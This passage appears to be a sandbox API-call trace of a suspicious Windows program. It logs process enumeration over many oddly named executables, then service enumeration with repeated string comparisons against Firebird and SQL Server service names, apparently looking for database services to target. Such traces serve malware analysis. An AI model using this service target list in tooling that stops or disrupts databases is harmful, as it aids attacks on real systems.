(lpString="isolatedconcerned.exe") returned 21 [0108.833] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizing.exe")) returned 1 [0108.834] lstrlenW (lpString="organizing.exe") returned 14 [0108.834] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="campus.exe")) returned 1 [0108.834] lstrlenW (lpString="campus.exe") returned 10 [0108.835] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mug.exe")) returned 1 [0108.835] lstrlenW (lpString="mug.exe") returned 7 [0108.835] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="petitionswapdame.exe")) returned 1 [0108.836] lstrlenW (lpString="petitionswapdame.exe") returned 20 [0108.836] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="quantum-appeals-das.exe")) returned 1 [0108.837] lstrlenW (lpString="quantum-appeals-das.exe") returned 23 [0108.837] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="powers mixture.exe")) returned 1 [0108.838] lstrlenW (lpString="powers mixture.exe") returned 18 [0108.838] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="federation-customs-denial.exe")) returned 1 [0108.838] lstrlenW (lpString="federation-customs-denial.exe") returned 29 [0108.838] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bachelor.exe")) returned 1 [0108.839] lstrlenW (lpString="bachelor.exe") returned 12 [0108.839] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist-exhaust-wires.exe")) returned 1 [0108.840] lstrlenW (lpString="wrist-exhaust-wires.exe") returned 23 [0108.840] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="indication wage paying.exe")) returned 1 [0108.841] lstrlenW (lpString="indication wage paying.exe") returned 26 [0108.841] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="thee pub emission.exe")) returned 1 [0108.842] lstrlenW (lpString="thee pub emission.exe") returned 21 [0108.842] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0108.843] lstrlenW (lpString="dllhost.exe") returned 11 [0108.843] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenditure_recruitment.exe")) returned 1 [0108.844] lstrlenW (lpString="expenditure_recruitment.exe") returned 27 [0108.844] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="compiler_transportation.exe")) returned 1 [0108.845] lstrlenW (lpString="compiler_transportation.exe") returned 27 [0108.845] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upgrading.exe")) returned 1 [0108.846] lstrlenW (lpString="upgrading.exe") returned 13 [0108.846] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="opened_conservative_warnings.exe")) returned 1 [0108.847] lstrlenW (lpString="opened_conservative_warnings.exe") returned 32 [0108.847] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="russell.exe")) returned 1 [0108.849] lstrlenW (lpString="russell.exe") returned 11 [0108.849] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfa4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0108.850] lstrlenW (lpString="conhost.exe") returned 11 [0108.850] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf84, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0108.850] lstrlenW (lpString="conhost.exe") returned 11 [0108.851] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.851] lstrlenW (lpString="svchost.exe") returned 11 [0108.851] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0108.852] lstrlenW (lpString="1csrss.exe") returned 10 [0108.852] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0108.853] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0108.853] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x540, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0108.854] lstrlenW (lpString="conhost.exe") returned 11 [0108.854] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xff4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0108.855] lstrlenW (lpString="cmd.exe") returned 7 [0108.855] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd98, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0108.856] lstrlenW (lpString="conhost.exe") returned 11 [0108.856] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.857] lstrlenW (lpString="svchost.exe") returned 11 [0108.857] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0108.857] CloseHandle (hObject=0x27c) returned 1 [0108.858] Sleep (dwMilliseconds=0x1f4) [0109.475] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5ee9d0 [0109.476] EnumServicesStatusExW (in: hSCManager=0x5ee9d0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 0 [0109.476] GetLastError () returned 0xea [0109.476] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1d5a) returned 0x610a70 [0109.477] EnumServicesStatusExW (in: hSCManager=0x5ee9d0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x610a70, cbBufSize=0x1d5a, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x610a70, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 1 [0109.477] CloseServiceHandle (hSCObject=0x5ee9d0) returned 1 [0109.478] lstrlenW (lpString="Appinfo") returned 7 [0109.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0109.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0109.478] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0109.478] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0109.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0109.478] lstrlenW (lpString="AppXSvc") returned 7 [0109.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0109.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0109.478] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0109.478] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0109.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0109.478] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0109.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0109.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0109.478] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0109.478] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0109.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0109.478] lstrlenW (lpString="Audiosrv") returned 8 [0109.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0109.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0109.478] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0109.478] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0109.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0109.479] lstrlenW (lpString="BFE") returned 3 [0109.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0109.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0109.479] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0109.479] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0109.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0109.479] lstrlenW (lpString="BITS") returned 4 [0109.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0109.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0109.479] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0109.479] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0109.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0109.479] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0109.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0109.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0109.479] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0109.479] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0109.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0109.479] lstrlenW (lpString="CDPSvc") returned 6 [0109.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0109.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0109.479] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0109.479] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0109.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0109.479] lstrlenW (lpString="ClickToRunSvc") returned 13 [0109.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0109.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0109.480] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0109.480] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0109.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0109.480] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0109.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0109.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0109.480] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0109.480] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0109.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0109.480] lstrlenW (lpString="CryptSvc") returned 8 [0109.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0109.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0109.480] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0109.480] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0109.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0109.480] lstrlenW (lpString="DcomLaunch") returned 10 [0109.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0109.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0109.481] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0109.481] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0109.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0109.481] lstrlenW (lpString="DeviceAssociationService") returned 24 [0109.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0109.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0109.481] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0109.481] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0109.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0109.481] lstrlenW (lpString="Dhcp") returned 4 [0109.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0109.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0109.481] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0109.481] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0109.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0109.481] lstrlenW (lpString="Dnscache") returned 8 [0109.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0109.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0109.482] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0109.482] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0109.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0109.482] lstrlenW (lpString="DoSvc") returned 5 [0109.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0109.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0109.482] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0109.482] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0109.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0109.482] lstrlenW (lpString="DPS") returned 3 [0109.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0109.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0109.482] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0109.482] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0109.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0109.482] lstrlenW (lpString="DusmSvc") returned 7 [0109.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0109.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0109.482] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0109.482] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0109.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0109.482] lstrlenW (lpString="EventLog") returned 8 [0109.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0109.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0109.482] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0109.482] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0109.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0109.483] lstrlenW (lpString="EventSystem") returned 11 [0109.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0109.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0109.483] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0109.483] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0109.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0109.483] lstrlenW (lpString="FontCache") returned 9 [0109.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0109.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0109.483] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0109.483] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0109.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0109.483] lstrlenW (lpString="gpsvc") returned 5 [0109.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0109.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0109.483] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0109.483] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0109.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0109.483] lstrlenW (lpString="iphlpsvc") returned 8 [0109.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0109.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0109.483] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0109.483] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0109.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0109.483] lstrlenW (lpString="KeyIso") returned 6 [0109.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0109.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0109.484] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0109.484] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0109.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0109.484] lstrlenW (lpString="LanmanServer") returned 12 [0109.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0109.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0109.484] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0109.484] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0109.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0109.484] lstrlenW (lpString="LanmanWorkstation") returned 17 [0109.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0109.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0109.484] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0109.484] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0109.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0109.484] lstrlenW (lpString="lfsvc") returned 5 [0109.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0109.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0109.484] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0109.484] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0109.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0109.484] lstrlenW (lpString="lmhosts") returned 7 [0109.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0109.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0109.484] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0109.485] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0109.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0109.485] lstrlenW (lpString="LSM") returned 3 [0109.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0109.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0109.485] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0109.485] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0109.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0109.485] lstrlenW (lpString="MapsBroker") returned 10 [0109.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0109.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0109.485] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0109.485] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0109.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0109.485] lstrlenW (lpString="MpsSvc") returned 6 [0109.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0109.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0109.485] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0109.485] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0109.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0109.485] lstrlenW (lpString="NcbService") returned 10 [0109.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0109.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0109.485] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0109.485] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0109.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 